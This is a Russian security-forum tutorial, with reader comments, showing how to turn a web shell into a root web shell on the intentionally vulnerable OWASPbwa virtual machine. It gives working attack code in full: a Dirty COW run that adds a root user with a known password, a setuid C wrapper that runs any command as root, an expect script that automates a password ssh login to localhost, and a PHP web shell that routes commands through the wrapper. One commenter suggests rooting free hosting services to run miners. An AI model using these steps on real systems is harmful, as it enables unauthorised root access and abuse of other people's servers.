Статья Получаем рутовый веб-шелл

Представьте, что у нас есть веб-шелл на сайте, но другого доступа к серверу, кроме как через веб, мы не имеем. При этом мы хотим повысить свои привилегии до root. Ниже я расскажу, как это можно сделать.

Для экспериментов я выбрал уязвимую виртуальную машину . На ней установлена Ubuntu с ядром 2.6.32-25-generic-pae, имеющим уязвимость . Проэксплуатировав данную уязвимость, мы сможем повысить свои привилегии в системе до root. На гитхабе и exploit-db я нашел несколько подходящих эксплоитов, но успешно скомпилировался и сработал только один.

И так, устанавливаем OWASPbwa, запускаем, дожидаемся загрузки и смотрим ip-адрес, к которому мы подключимся через браузер. Логиниться в ОС не нужно.
31275


Для чистоты эксперимента зальем веб-шел через какое-нибудь уязвимое приложение, коих тут предостаточно. Переходим в раздел Mutillidae II
31276


И в меню находим нужную нам уязвимость, с помощью которой зальем шелл на сервер
31277


Веб-шелл загружен в директорию /tmp:
31278


Надо как-то подключиться к нему. В этом нам поможет уязвимость local file include. Проверяем файл /etc/passwd
31279


Уязвимость есть. Таким же образом подключаем загруженый ранее шелл. Немного мешает обзору меню от Mutillidae II, но не критично:
31280


Этот веб-шелл мы используем для того, что бы загрузить на сервер файл с кодом эксплоита, скомпилировать его и запустить на выполнение. Эксплоит создаст в системе нового пользователя codeby с паролем codeby с правами root.

Скачиваем эксплоит отсюда - . Загружаем его на веб-сервер в /tmp и компилируем:
31281


На выходе получим бинарник dirtycow:
31282


Запускаем эксплоит. Вторым аргументом сразу указываем пароль, который хотим присвоить новому пользователю.
31283


Ждем пару минут и видим уведомление, что пользователь c именем codeby и паролем codeby создан:
31284


По легенде подключиться по ssh или telnet к серверу мы не можем, бэк-коннекта тоже нет. Задача состоит в том, что бы теперь выполнять команды от нового root-пользователя через браузер.
В поисках решения проблемы я нашел статью на и посмотрел это . Выход состоял в том, что бы создать suid-файл, который будет принадлежать root-юзеру codeby, и выполнять команды из веб-шелла через этот файл.


setuid и setgid являются флагами прав доступа в Unix, которые разрешают пользователям запускать исполняемые файлы с правами владельца или группы исполняемого файла.

Создаем файл на локальном сервере,
C:
#include <stdio.h>
#include <stdlib.h>

main (int argc, char *argv[])
{
        if(argc == 3){
                if(strcmp(argv[1],"codeby") == 0)
                {
                        setgid(0);
                        setuid(0);
                        system(argv[2]);
                }
        }
        return 0;
}

Загружаем файл на веб-сервер в /tmp и компилируем
gcc suid.c -o suid

В /tmp появился новый файл suid с правами -rwxr-x--x. Устанавливаем ему suid-бит:
chmod 4751 suid

Теперь его права доступа должны быть -rwsr-x--x:
31285


символ x сменился на символ s, бит suid установлен.

Попробуем выполнить через наш suid-ник команду id. Часть экрана скрыта за меню, поэтому для ценителей особых извращений сделаю вот так - сохраню вывод команды в файл id:
31287


и выведу содержимое файла в браузер:
31288


Команда выполнилась от пользователя www-data, как и ожидалось. Чтобы команда выполнилась от рута, нужно сделать владельцем suid-файла рута. И делать это надо конечно-же из под рута. Но как? Пользователю www-data нельзя выполнять команды от sudo или su.
Выход такой — мы из веб-шелла выполним ssh-подключение к 127.0.0.1 с известным именем и паролем рут-пользователя (codeby:codeby) и выполним через ssh команду, которой сделаем пользователя codeby владельцем suid-файла:

ssh codeby@127.0.0.1 chown codeby /tmp/suid

Тут оказалось тоже не все так просто. Веб-шелл после подключения ssh не выводит в браузер запрос пароля, поэтому будем использовать скрипт, который и выполнит нужную команду. Создаем файл script.sh со следующим содержимым:
Bash:
#!/usr/bin/expect -f
set timeout 5
spawn ssh codeby@127.0.0.1 chown codeby /tmp/suid
#expect "(yes/no?)"
#send -- "yes\r"
expect "?*assword:*"
send -- "codeby\r"
send -- "\r"
expect eof

Загружаем скрипт на веб-сервер в /tmp, делаем его исполняемым и выполняем его в консоли веб-шелла:

chmod u+x script.sh
./script.sh

Если все прошло нормально, видим, что владелец suid-файла сменился:
31289


Правда и suid-бит после смены владельца сбросился. Установим его еще раз от рута. Для этого в script.sh надо соответственно подправить отправляемую команду и выпонить скрипт. Теперь все нормально:
31290


Пробуем выполнить через suid-файл команду id:
31291


31292


Как видим, теперь команда выполнилась от рута. Что ж, осталось автоматизировать использование шеллом нашего suid-файла, чтоб каждый раз не вводить ./suid password foo bar, а сразу выполнять нужную команду.

Возьмем такой простой php-вебшелл:
PHP:
<html>
<head>
<title>root_shell</title>
</head>

<body bgcolor=#000000 text=#6df207 ">

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system('$cmd');
        echo "</pre>";
        die;
}

?>

</body>
</html

И в строке, где выполняется функция system() сделаем маленькую модификацию:
system("/tmp/suid codeby '$cmd' ");
Назовем наш файл с шеллом root_shell.php и загрузим на веб-сервер в /tmp.

Что бы никакие боковые меню больше не мешали обзору, сразу переместим шелл в /var/www:
./suid codeby 'mv /tmp/root_shell.php /var/www/root_shell.php'
и переходим в шел по адресу 192.168.56.103/root_shell.php

Что бы выпонить команду, в адресной строке используйте параметр cmd:
31293

Команда id выпонилась от root (codeby)

31294


На этом все. Спасибо, если дочитали и затестили способ )
 

Вложения

  • скрин1.png
    скрин1.png
    10,9 КБ · Просмотры: 802
  • СКРИН15.png
    СКРИН15.png
    33,4 КБ · Просмотры: 543
Последнее редактирование:

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 188
BIT
0
у меня вот мысля есть по данной статье) наверное майнерам будет интересно или тем кому нужен ВПС) вот к примеру есть такие сервисы которые дают халявный хостинг) их валом в сети! так вот если регнутся , грузануть туда шелл добратся до рута и все ... дальше уже прогружаем все что нужно ;-) идея не нова уже я про это думал в эпоху майнинга то есть давно)
 
  • Нравится
Реакции: naJIynaHka

snovvcrash

One Level
17.09.2018
4
54
BIT
0
Прикольно, но есть способ проще: когда в линуксах создаешь tar-архив, он запоминает в себе идентификаторы владельцев/группы файлов. При таком раскладе, если создать .tar.gz архив со скомпилированным на своей машине от имени рута SUID-шеллом, залить и распаковать его на жертве, то можно избежать плясок с ssh до локалхоста. Примерно так я делал, когда .
 
  • Нравится
Реакции: Rumbur и larchik
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!